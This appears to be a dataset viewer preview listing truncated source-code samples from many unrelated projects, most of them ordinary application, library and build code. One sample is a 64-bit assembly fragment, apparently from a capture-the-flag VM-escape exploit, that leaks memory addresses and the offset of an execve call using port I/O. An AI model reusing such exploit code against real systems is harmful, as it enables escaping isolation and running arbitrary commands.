text stringlengths 27 775k |
|---|
<?php
/**
* Wrap a supplied object in a commandline debug shell. Calls to the objects public methods will be proxied to the shell
* where the developer can poke and prod. Designed to be used in a multi-process application like those created when using
* the Workers feature in a PHP Daemon application. In those cas... |
// String includes polyfill
// Why didn't I put this in app.js? Because Showdown's
// style guide sucks. JSCS can't check correct indentation
// for shit.
if (!String.prototype.includes) {
String.prototype.includes = function () {
return String.prototype.indexOf.apply(this, arguments) !== -1;
};
}
modu... |
import torch
from pynif3d.camera import SphereRayTracer
from pynif3d.common.verification import check_equal, check_not_none, check_shapes_match
from pynif3d.log.log_funcs import func_logger
from pynif3d.sampling.ray.secant import SecantRaySampler
from pynif3d.utils.functional import ray_sphere_intersection
class IDR... |
module FullTextSearch
class SimilarWordsFilter
attr_accessor :cosine_threshold
attr_accessor :engine
attr_accessor :sentence_piece_space
def initialize
@cosine_threshold = 0.99
@engine = nil
@sentence_piece_space = "▁"
end
def run(records)
expansions = {}
records... |
exports.run = function (req, res) {
fusker.blacklist.push({ip: req.connection.remoteAddress, date: new Date()});
};
|
---
title: series_fill_const() - Azure Data Explorer
description: This article describes series_fill_const() in Azure Data Explorer.
services: data-explorer
author: orspod
ms.author: orspodek
ms.reviewer: alexans
ms.service: data-explorer
ms.topic: reference
ms.date: 02/13/2020
---
# series_fill_const()
Replaces missi... |
class ChatRequestModel {
static messageSendRequestBody({var userId, var message}) {
final Map<String, dynamic> data = new Map<String, dynamic>();
data['Chat[to_id]'] = userId;
data['Chat[message]'] = message;
return data;
}
}
|
package com.kangraoo.basektlib.tools.glide
import android.content.Context
import com.bumptech.glide.Glide
import com.bumptech.glide.GlideBuilder
import com.bumptech.glide.Registry
import com.bumptech.glide.annotation.GlideModule
import com.bumptech.glide.integration.okhttp3.OkHttpUrlLoader
import com.bumptech.glide.lo... |
package org.struckture.handlers;
import org.struckture.base.annotations.StruckField;
import java.lang.annotation.Annotation;
import java.nio.ByteBuffer;
import java.util.Set;
/**
* Byte Array Handler.
*/
public class ByteArrayHandler extends ReversibleHandler<byte[]> {
private int size = 0;
@Override
... |
package academy.pocu.comp3500.lab9.data;
public final class VideoClip {
private final int startTime;
private final int endTime;
public VideoClip(int start, int end) {
startTime = start;
endTime = end;
}
public int getStartTime() {
return startTime;
}
... |
import { Component, Input } from '@angular/core';
import { SpectatorPipe, createPipeFactory } from '@ngneat/spectator';
import { AveragePipe } from './average.pipe';
import { StatsService } from './stats.service';
@Component({
template: `
<div>{{ prop | avg }}</div>
`
})
class CustomHostComponent {
@Input()... |
using UnityEngine;
using System.Collections;
using System;
public class BreakableObjectCollision : CollisionReceiver {
public Transform builtWall;
public Transform destroyedWall;
public bool wallDestroyed = false;
protected new void Awake() {
base.Awake();
if (!builtWall) {
... |
package routes
import (
"github.com/cmelgarejo/go-gql-server/internal/handlers"
auth "github.com/cmelgarejo/go-gql-server/internal/handlers/auth/middleware"
"github.com/cmelgarejo/go-gql-server/internal/logger"
"github.com/cmelgarejo/go-gql-server/internal/orm"
"github.com/cmelgarejo/go-gql-server/pkg/utils"
"gi... |
$remixd -s ./ --remix-ide https://remix.ethereum.org
access to https://remix.ethereum.org/
|
import OpenGL
#OpenGL.ERROR_CHECKING=False
#OpenGL.ERROR_LOGGING = False
#OpenGL.ERROR_ON_COPY = True
#OpenGL.FULL_LOGGING = True
from OpenGL.GL import *
from OpenGL.error import GLError
from OpenGL.GLU import *
from OpenGL.arrays import vbo
from OpenGL.GL import shaders
import time
import math, random
import numpy
fr... |
import * as fs from 'fs-extra';
import * as path from 'path';
import { Utils } from '~/utils';
import { State } from '~/states/state';
import { Processor } from '~/processors/processor';
import { Finalizer } from '~/processors/finalizer';
import { Rule, Environment, Configuration } from '~/models/builder-models';
impor... |
package mx.buap.fcc.clasificador.model
import mx.buap.fcc.clasificador.tools.MathTools
import java.math.BigDecimal
import java.math.BigDecimal.*
import java.math.RoundingMode
import java.util.*
/**
*
* @author Carlos Montoya
*/
class Instance
constructor(val indice: Int = 0,
val clazz: Int = -1,
val data:... |
#!/bin/bash
curl -o waifu $1
DESCRIPTION=$(node lib/index.js $1)
if [ $? -eq 0 ]; then
t update "$DESCRIPTION" -f waifu
else
echo failed
fi
rm waifu
|
# Copyright (C) 2009-2019 MongoDB Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... |
BITS 64
%define marker 0x1583
%define honco 0x1508
mov eax, honco
mov edi, 0x64
out dx, al
; Gets to the base address
;REMOTE
;mov rbx, 0xfffffffffff72000
;LOCAL
mov rbx, 0xfffffffffff6a000
; Leak addess of vmem
mov rax, rbx
add rax, 0x2319
mov edi, 0x64
out dx, al
; Leak offset of execve call
lea rax, [rel execv... |
# my-portfolio
repo con mi página web donde pretendo aplicar todo lo aprendido hasta el momento
|
import React from 'react';
import {
injectIntl,
} from 'react-intl';
import PropTypes from 'prop-types';
import { SelectionFilter } from '@folio/stripes-acq-components';
import { useCloseReasonOptions } from '../hooks';
import { closingReasonsShape } from '../shapes';
const ClosingReasonFilter = ({ closingReasons,... |
#pragma once
namespace silk
{
namespace params
{
class IParam
{
virtual ~IParam() = default;
virtual q::Path const& get_path() const = 0;
virtual std::string const& get_ui_prefix() const = 0;
virtual std::string const& get_ui_suffix() const = 0;
virtual std::string const& get_ui_name() const = 0;
virtual voi... |
1. flow
2.classes
2a. class relationships
-user is welcomed
-user selects a number
-user recieves a numbered list of albums
-user makes selection
-user recieves info on album and artist
-user is asked if they want to start over
-user exits
Classes
-event
-CLI
-Scraper
what is an album?
an album has a name
an al... |
# Copyright 2012 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... |
/**
* This file is part of Ark Cpp Crypto.
*
* (c) Ark Ecosystem <info@ark.io>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
**/
#ifndef SERIALIZER_H
#define SERIALIZER_H
#include "transactions/transaction.h"
namespace Ark {
name... |
/*
* Copyright 2019 Kroto+ Contributors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or ag... |
#!/bin/bash
SUDO=sudo
if [ -z "${DOCKER_HUB_REPO}" ]; then
echo -e "Please set DOCKER_HUB_REPO env variable."
exit -1;
fi
if [ -z "${DOCKER_HUB_LCFS_PLUGIN}" ]; then
echo -e "Please set DOCKER_HUB_LCFS_PLUGIN env variable."
exit -1;
fi
if [ -z "${DOCKER_HUB_LCFS_TAG}" ]; then
echo -e "Please set... |
package Lingua::Stem::Snowball::Lt;
use strict;
use warnings;
use 5.006002;
use Carp;
use Exporter;
use vars qw(
$VERSION
@ISA
@EXPORT_OK
$AUTOLOAD
%EXPORT_TAGS
$stemmifier
%instance_vars
);
$VERSION = '0.03';
@ISA = qw( Exporter DynaLoader );
%EXPORT_TAGS = ( 'all' => [qw( stem )... |
#!/bin/bash
cd `dirname $0`
rm -rf doc/*
luadoc -d doc hs/*.lua hs/*/*.lua
|
import { logger } from '../utils/logger';
import { mkdir, touch } from '../utils/fs';
import { npmInit } from '../actions/npm';
import { addScript, setPackageJsonValue } from '../actions/packageJson';
export const createEmptyProject = async (entryfile = 'src/index.ts') => {
await mkdir('src');
await mkdir('test');... |
{-# LANGUAGE RankNTypes #-}
{-# LANGUAGE DataKinds #-}
{-# LANGUAGE ScopedTypeVariables #-}
{-# LANGUAGE TypeFamilies #-}
{-# OPTIONS_GHC -fno-warn-orphans #-}
module SMACCMPilot.Flight.Datalink
( datalink ) where
import GHC.TypeLits
import Data.Char (ord)
import Ivory.Language
import Ivory.Tower
import qualifie... |
<?php
header('Access-Control-Allow-Origin: http://localhost:3000');
header('Access-Control-Allow-Headers: Content-Type, x-requested-with');
header('Content-Type: text/plain; charset=utf-8');
if ($_SERVER['REQUEST_METHOD'] === "OPTIONS") {
die();
}
try {
$input = file_get_contents('php://input');
$data = json_d... |
#!/usr/bin/perl
eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
if 0; # not running under some shell
=head1 NAME
merge_lists.pl - Iterate through a directory of lists and merge them into a single list.
=head1 SYNOPSIS
USAGE: merge_lists.pl
--input_dir=/some/dir/
--output_list=/s... |
export class AgentSalary {
public Date: Date;
public Salary: number;
}
|
angular.module('app.components')
.component('profileSelector', {
templateUrl: 'app/components/profileSelector.html',
controller: ProfileSelectorCtrl,
controllerAs: 'profileSelector',
bindings: {
mode: '='
}
});
function ProfileSelectorCtrl (constants, preferencesProvider) {
var vm = thi... |
package passwordless
import (
"io/ioutil"
"mime/multipart"
"net/mail"
"regexp"
"testing"
"time"
"github.com/stretchr/testify/assert"
)
func TestEmail(t *testing.T) {
d := time.Date(2001, 2, 3, 4, 5, 6, 0, time.UTC)
e := Email{
To: "bender@ilovebender.com",
Subject: "Mom Calling",
Date: d,
}
... |
import {always} from "common-fns";
import {Source} from "../../types";
import {map} from "./map";
import {pipe} from "../utils/pipe";
/**
* map
* --------------
*
* Transforms the contents of the stream to the provided value.
*
*/
export const mapTo = <T>(value: T) => (source$: Source<any>) => {
return pipe(... |
<?php
namespace App\Model\Employee;
use Illuminate\Database\Eloquent\Model;
use Spatie\Activitylog\Traits\LogsActivity;
class Attendance extends Model {
use LogsActivity;
protected $fillable = ['employee_id', 'employee_attendance_type_id', 'date_of_attendance', 'remarks', 'options',
];
protected $primaryKey = '... |
# Ruby to JavaScript regular expression converter
class JSRegexp
# Convert Ruby Regexp to JavaSript RegExp format
#
# @params regexp [Regexp, String] a Ruby regular expression
# @return [String] JavaSript regular expression represented as a string
class << self
def convert(regexp)
stringify(regexp)
... |
ALTER TABLE podcasts DROP CONSTRAINT unique_guids;
ALTER TABLE podcasts DROP COLUMN guid;
ALTER TABLE podcasts ADD CONSTRAINT unique_podcast_columns UNIQUE(channel_id, enclosure_url);
|
# frozen_string_literal: true
module BoltSpec
module Errors
def expect_node_error(klass, issue_code, message)
expect {
yield
}.to(raise_error { |ex|
expect(ex).to be_a(klass)
expect(ex.issue_code).to eq(issue_code)
expect(ex.message).to match(message)
})
end
... |
---
company-name: Tapvalue
domain: tapvalue.com
home: http://www.tapvalue.com/Home
privacy-policy: http://www.tapvalue.com/fr/mentions-l%C3%A9gales
---
|
'use strict';
var assert = require('chai').assert;
var StateSet = require('osg/StateSet');
var Uniform = require('osg/Uniform');
var Shader = require('osg/Shader');
var Program = require('osg/Program');
var Texture = require('osg/Texture');
module.exports = function() {
test('StateSet', function() {
(funct... |
module Docs
class Rails
class EntriesFilter < Docs::Rdoc::EntriesFilter
TYPE_BY_NAME_MATCHES = {
/Assertions|::Test|Fixture/ => 'Testing',
/\AActiveRecord.+mysql/i => 'ActiveRecord/MySQL',
/\AActiveRecord.+postgresql/i ... |
module("Faq", {
'setup': function() {
BMTestUtils.FaqPre = BMTestUtils.getAllElements();
// Override Env.getParameterByName to get verification parameters
BMTestUtils.overrideGetParameterByName();
// Create the getting_started_page div so functions have something to modify
if (document.getElemen... |
# This code lets us redefine existing Rake tasks, which is extremely
# handy for modifying existing Rails rake tasks.
# Credit for the original snippet of code goes to Jeremy Kemper
# http://pastie.caboo.se/9620
unless Rake::TaskManager.methods.include?(:redefine_task)
module Rake
module TaskManager
... |
#!/usr/bin/env bash
echo -e "\e[94m Collecting static...\e[0m"
python manage.py collectstatic --noinput --clear
echo -e "\e[94m Making migrations...\e[0m"
python manage.py makemigrations
python manage.py migrate
echo -e "\e[92m Starting service...\e[0m"
uvicorn conf.asgi:application --uds /uvicorn_socket/uvicorn.soc... |
const gactions = require('actions-on-google')
const _ = require('lodash')
const Session = require('newbot-formats/session/gactions')
const output = require('../output')
module.exports = function ({
app,
converse,
settings
}) {
const propClientId = 'platforms.gactions.signin.clientId'
const clientId... |
using System.Linq;
using RimWorld;
using Verse;
namespace MoreThanCapable
{
public class ThoughtWorker_AssignedToBadWork : ThoughtWorker
{
protected override ThoughtState CurrentStateInternal(Pawn p)
{
if (!p.health.hediffSet.HasHediff(def.hediff)) {
return false;
... |
package io.github.qkcoder.hermesdownloadersample
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.view.View
import android.widget.ImageView
import android.widget.ProgressBar
import android.widget.TextView
import com.bumptech.glide.Glide
import com.mikepenz.fastadapter.Fast... |
import { IExclude } from "../../interface/config/IExclude.ts";
import { arrayGetUnique } from "../../util/array/get/unique.ts";
import { arrayIsEmpty } from "../../util/array/is/empty.ts";
import { isRegExp } from "../../util/is/regexp.ts";
import { isString } from "../../util/is/string.ts";
import { jsonStringify } f... |
// Copyright 2016 Joe Wilm, The Alacritty Project Contributors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required b... |
require 'facets/range/op_sub'
test_case Range do
method :- do
#test { lambda{ (1..10) - 'a' }.assert raise_error }
test { ((1..10) - (5..5)).assert == [1..4, 6..10] }
test { ((1..10) - 2).assert == [1, 3..10] }
test { ((1..10) - 9).assert == [1..8, 10] }
test { ((1..10) - 10).assert == [1..9, nil] }
... |
import React from "react";
import styled from "@emotion/styled";
import { Column } from "./column";
import { GUTTER } from "./constants";
import { StyledGrid } from "./grid";
import { Row } from "./row";
import { GridOverlayGridProps, GridOverlayProps } from "./types";
const GridOverlayGrid = styled(StyledGrid)<GridOv... |
using System;
using System.Collections.Generic;
namespace CSF.WebDriverExtras.Config
{
/// <summary>
/// Describes a type which implements <see cref="ICreatesWebDriver"/>, along with a set of options which should be
/// used with that type.
/// </summary>
public interface IDescribesWebDriverFactory
{
... |
{-# OPTIONS_HADDOCK hide #-}
module Render
( renderPicture
)
where
import qualified Graphics.UI.Threepenny as UI
import Graphics.UI.Threepenny.Core
import Foreign.JavaScript
import Control.Monad
import Data.List
import Data.List.Split
import Pictu... |
package com.berteodosio.seriemesmo.data.tmdb.repository
import com.berteodosio.seriemesmo.data.tmdb.model.TmdbShow
import io.reactivex.Single
import org.junit.Test
import org.mockito.kotlin.any
import org.mockito.kotlin.mock
import org.mockito.kotlin.whenever
class TmdbDefaultRepositoryTest {
@Test
fun `Test... |
#!/bin/bash
cd
rm -rf DSI-Studio
rm -rf TIPL
git clone http://github.com/frankyeh/DSI-Studio.git
git clone http://github.com/frankyeh/TIPL.git
cd DSI-Studio
rm Makefile*
rm *.Debug
rm *.Release
cd
mkdir DSI-Studio-master
cd DSI-Studio-master
mkdir image
cd
cp -R DSI-Studio/* DSI-Studio-master/
cp -R TIPL/* DSI-Studio-m... |
package com.popov.egeanswers.model
enum class VariantType {
EGE, OGE
} |
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\user;
class UpdateController extends Controller
{
private $user;
public function index(Request $request) {
//validate user input
$this->validation($request);
... |
// !CHECK_TYPE
interface G {
operator fun get(x: Int, y: Int): Int = x + y
operator fun set(x: Int, y: Int, value: Int) {}
}
fun foo1(a: Int?, b: G) {
b[a!!, a<!UNNECESSARY_NOT_NULL_ASSERTION!>!!<!>] = <!DEBUG_INFO_SMARTCAST!>a<!>
checkSubtype<Int>(<!DEBUG_INFO_SMARTCAST!>a<!>)
}
fun foo2(a: Int?, b:... |
module GoatGuardian.Password where
import Control.Monad.IO.Class (MonadIO, liftIO)
import Crypto.Scrypt (EncryptedPass(EncryptedPass), Pass(Pass), encryptPassIO', getEncryptedPass, verifyPass')
import Data.Text (Text)
import Data.Text.Encoding (decodeUtf8With, encodeUtf8)
import Data.Text.Encoding.Error (lenientDecod... |
# frozen_string_literal: true
module Taggable
extend ActiveSupport::Concern
included do
acts_as_taggable
validate :tag_list_validation
end
def tag_list_validation
return unless tag_list.any? { |tag| tag =~ /\A(?=.*\s+|.* +).*\z/ }
errors.add(:tag_list, 'に空白が含まれています')
end
end
|
<?php
namespace app;
use PhpDevil\web\Application;
/**
* Class WebApplication
* Фронт-контроллер веб-приложения
* @package app
*/
class WebApplication extends Application
{
/**
* Пространство имен контроллеров приложения
* @var string
*/
protected $controllersNamespace = '\\app\\controllers'... |
/*
Copyright (C) 2016 Koji Wakamiya
Copyright (C) 2016 Masanori Kojima
Released under the MIT license
http://opensource.org/licenses/mit-license.php
*/
package com.sf_lolitahag.pitchs
class Makyu : IPitch {
companion object {
private const val BALL_SPEED = 20
private const val ACCELERATION = 20
... |
package presentationcontext
// Result represents the result of a presentation context negotiation.
type Result uint16
const (
// Acceptance indicates that the proposed presentation context was accepted.
Acceptance Result = iota
// UserRejection indicates that the proposed presentation context was rejected
// by ... |
import { IPrizeType } from '../models/interfaces';
import { PrizeTypeSchema } from '../data/schema/PrizeType';
import RepositoryBase from './base/RepositoryBase';
class PrizeTypeRepository extends RepositoryBase<IPrizeType> {
constructor() {
super(PrizeTypeSchema);
}
}
Object.seal(PrizeTypeRepository);
export... |
# scoped_block: A crafty little extension to execute blocks with an object's scope.
# by: Slippy Douglas
# Use like this:
#
# 5.in_scope do
# puts self.to_f
# end
#
# @fix: needs a fall-through to the scope it was called from
class Object
def in_scope(&block)
self.instance_eval(&block)
end
end
# U... |
package tools.tracesviewer;
import java.awt.*;
import java.util.*;
/**
* Lays out components within a Container such that each component takes a fixed percentage of the size.
*
* Each Component added to the Container must have a Constraint object that specifies what proportion
* of the container it will fill. The... |
import React, { useState, useEffect } from "react";
import { Link, Redirect } from "react-router-dom";
import axios from "axios";
const Register = () => {
useEffect(() => {
const token = localStorage.getItem("x-auth-token");
if (token) {
setIsAuthenticated(true);
}
}, []);
const [name, setName... |
###PLEASE RUN USING PYTHON3
###AUTHOR: ADITYA D PAI
import heapq as hp
import sim2
import sys
import random
from termcolor import colored
#Implementation of Priority Queue using Heap data structure
class PQ:
def __init__(self): #Constructor
... |
name := """jsi-server"""
organization := "com.saasquatch"
version := "1.0-SNAPSHOT"
lazy val root = (project in file(".")).enablePlugins(PlayJava)
scalaVersion := "2.13.1"
EclipseKeys.projectFlavor := EclipseProjectFlavor.Java
EclipseKeys.executionEnvironment := Some(EclipseExecutionEnvironment.JavaSE18)
EclipseKey... |
var ww = window.innerWidth,
wh = window.innerHeight;
var curve;
var lengthTube = 600;
var detailTube = 200;
var radius = 6;
var logoDist = 10;
var renderer = new THREE.WebGLRenderer({
canvas: document.querySelector("canvas"),
antialias: true
});
renderer.setSize(ww, wh);
var scene = new THREE.Scene();
scene.fog ... |
'''
Parse command line arguments
'''
import argparse
def parse_args_common():
'''Parse common command line arguments'''
parser = argparse.ArgumentParser(description='common args.')
parser.add_argument('--dbenv', type=str, required=True,
help='Name of the database backend; '
... |
<!-- banner -->
<div id="myCarousel" class="carousel slide" data-ride="carousel">
<!-- Indicators -->
<ol class="carousel-indicators">
<li data-target="#myCarousel" data-slide-to="0" class="active"></li>
<li data-target="#myCarousel" data-slide-to="1" class=""></li>
<li data-target="#myCarousel" data-slide-to="... |
package com.revolsys.geometry.index.kdtree;
import java.util.ArrayList;
import java.util.List;
import java.util.function.Consumer;
import java.util.function.Predicate;
import org.jeometry.common.function.BiFunctionDouble;
import com.revolsys.geometry.model.BoundingBox;
import com.revolsys.geometry.model.GeometryFact... |
---
layout: post
title: "[JS] Javascript 예외처리: try, catch, finally"
date: 2019-03-26
categories: Javascript
---
Javascript의 예외처리 방법에 대해 정리한 글입니다.
## 예외처리의 필요성
예상치 못하게 발생한 에러를 잘 처리해야 프로그램 전체가 멈추지 않고 동작할 수 있음
## Try, Catch, Finally
```javascript
try {
// 실행하고 싶은 코드
// 여기서 실행하다가 에러가 발생하면 catch 블록으로 이동
throw {전달할 e... |
use bbggez::{
color::random_dark_color,
ggez::{
graphics::{Color, Mesh},
nalgebra::{Point2, Vector2},
Context, GameResult,
},
mesh::create_circle,
};
pub struct CannonBall {
location: Vector2<f32>,
color: Color,
size: f32,
velocity: Vector2<f32>,
}
impl CannonBa... |
#include "melon/modules/function/function_module.h"
#include "melon/modules/modules.h"
#include "melon/core/closure.h"
#include "melon/core/array.h"
#include "melon/core/tstring.h"
/***
* @module
*
* This module can be used to programmatically interact with [`Function`](function.md)
* values. Most of the function... |
FactoryBot.define do
factory :deposit do
description { "Deposit" }
end
end
|
use crossterm::event::KeyModifiers;
pub const NONE_MODIFIER: KeyModifiers = KeyModifiers::empty();
#[macro_use]
macro_rules! key {
// Control + Key
(^$key:literal) => {
crossterm::event::KeyEvent {
code: crossterm::event::KeyCode::Char($key),
modifiers: crossterm::event::KeyMod... |
module DataScience
class Importer
def self.load(input_file)
read(input_file)
end
def self.read(input_file)
IO.read(input_file)
end
end
end
|
import { connect } from 'react-redux'
import PermissionPageContainer from './permission-page-container.component'
import {
getSelectedIdentity,
getPermissionsDescriptions,
getPermissionsRequests,
getDomainMetadata,
} from '../../../selectors/selectors'
import { hideLoadingIndication, showLoadingIndication } fro... |
import { Injectable } from '@angular/core';
import { InMemoryDbService } from 'angular-in-memory-web-api';
@Injectable()
export class InMemoryDataService implements InMemoryDbService {
createDb() {
let credentials = [
{
name: 'admin',
password: 'admin'
},
{
name: 'user',
password: 'user'
... |
#!/usr/bin/perl
# documentation at end of file
use strict;
use Getopt::Long;
use Pod::Usage;
use File::Spec;
use FindBin qw($Bin);
use Bio::ToolBox::db_helper::config qw(add_database);
use Bio::ToolBox::db_helper qw(open_db_connection);
use Bio::DB::SeqFeature::Store;
use Bio::DB::SeqFeature::Store::GFF3Loader;
# ch... |
import { bytesToHex, bytesToWords, endian, Md5Sha1Options, wordsToBytes } from "./crypt";
import { bin, utf8 } from "../charenc";
declare const Buffer;
function FF(a, b, c, d, x, s, t) {
const n = a + (b & c | ~b & d) + (x >>> 0) + t;
return ((n << s) | (n >>> (32 - s))) + b;
}
function GG(a, b, c, d, x, s, t) {
... |
<?
$MESS["T_IBLOCK_NAME_BLOCK"] = "Jobs Block Title";
$MESS["T_IBLOCK_DESC_NAME_BLOCK"] = "Vacancies";
?> |
/*
* This software is licensed under the Apache 2 license, quoted below.
*
* Copyright 2019 Astraea, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* [http://www.apache.o... |
#[derive(Debug)]
struct Node<'a> {
children: Vec<Node<'a>>,
metadata: &'a [i32],
len: usize,
}
impl Node<'_> {
fn checksum(&self) -> i32 {
self.metadata.iter().sum::<i32>() + self.children.iter().map(|x| x.checksum()).sum::<i32>()
}
fn value(&self) -> i32 {
if self.children.is_... |
import { Component, OnInit } from '@angular/core';
import { Validators, FormBuilder, FormGroup } from '@angular/forms';
import { ActivatedRoute, Router } from '@angular/router';
import { TicketsService } from '../tickets.service';
import { ToasterService } from 'angular2-toaster';
import { ValidationService } from '../... |
<?php
return [
'same_as_above'=>'Same as Above'
]; |
import React from "react";
export default () => (
<div className="w-100">
<h2 className="mb-3">EDUCACIÓN</h2>
<div className="resume-item d-flex flex-column flex-md-row justify-content-between">
<div className="resume-content">
<h3 className="mb-0 h5">Maestría en Gestión de Tecnologías de la i... |
import { Engine } from '@xrengine/engine/src/ecs/classes/Engine'
import {
Scene,
AmbientLight,
DirectionalLight,
PerspectiveCamera,
Box3,
Vector3,
MeshStandardMaterial,
Mesh,
WebGLRenderer
} from 'three'
import { traverseMaterials } from '../functions/materials'
import { getCanvasBlob } from '../funct... |
---
title: cross_zone_move_instance_by_group_id
searchTitle: Lua EQ cross_zone_move_instance_by_group_id
weight: 1
hidden: true
menuTitle: cross_zone_move_instance_by_group_id
---
## cross_zone_move_instance_by_group_id
```lua
eq.cross_zone_move_instance_by_group_id(number group_id, uint16 instance_id) -- void
``` |
package solution
import (
"sort"
"strconv"
)
func findRelativeRanks(nums []int) []string {
rsu := []string{"Gold Medal", "Silver Medal", "Bronze Medal"}
switch len(nums) {
case 0:
return []string{}
case 1:
return rsu[:1]
case 2:
return rsu[:2]
case 3:
return rsu[:3]
}
sort.Slice(nums, func(i, j int)... |
#include <chrono>
#include <random>
#include "maze/utils.h"
namespace utils {
int random_integer(int lower, int upper) {
auto seed = std::chrono::system_clock::now().time_since_epoch().count();
std::default_random_engine generator(seed);
std::uniform_int_distribution<int> distribution(lower, upper);
return d... |
<?php
/**
* Created by PhpStorm.
* User: LEM
* Date: 05/01/2016
* Time: 15:11
*/
return [
'tag' => 'Mots Clés: ',
'noTag' => 'Aucun mot clé:',
'category' => 'Catégorie: ',
'noCategory' => 'Pas de catégorie',
'emailAdress' => 'Adresse mail',
'emailContent' => 'Votre message',
'password'... |
---
toc: true
title: " Eclipse 관련 모음"
description: "Eclipse 관련 모음"
categories: [Eclipse]
tags: [Eclipse]
redirect_from:
- /2019/05/31/
---
> Eclipse 관련 모음
### Eclipse JVM 경로 설정 -vm 옵션 in eclipse.ini file {#toc1}
```md
반드시 실행파일명을 포함한 전체경로를 적어야 한다.
-product, --launcher.* 가 있는 라인 이후, -vmargs 라인의 이전에 기입
--launcher.de... |
using System.Globalization;
using sly.lexer;
using sly.parser.generator;
namespace ParserTests.Issue259
{
public class Issue259Parser
{
[Operand]
[Production("logical_literal: OFF")]
[Production("logical_literal: ON")]
public string LiteralBool(Token<Issue259ExpressionToken> t... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.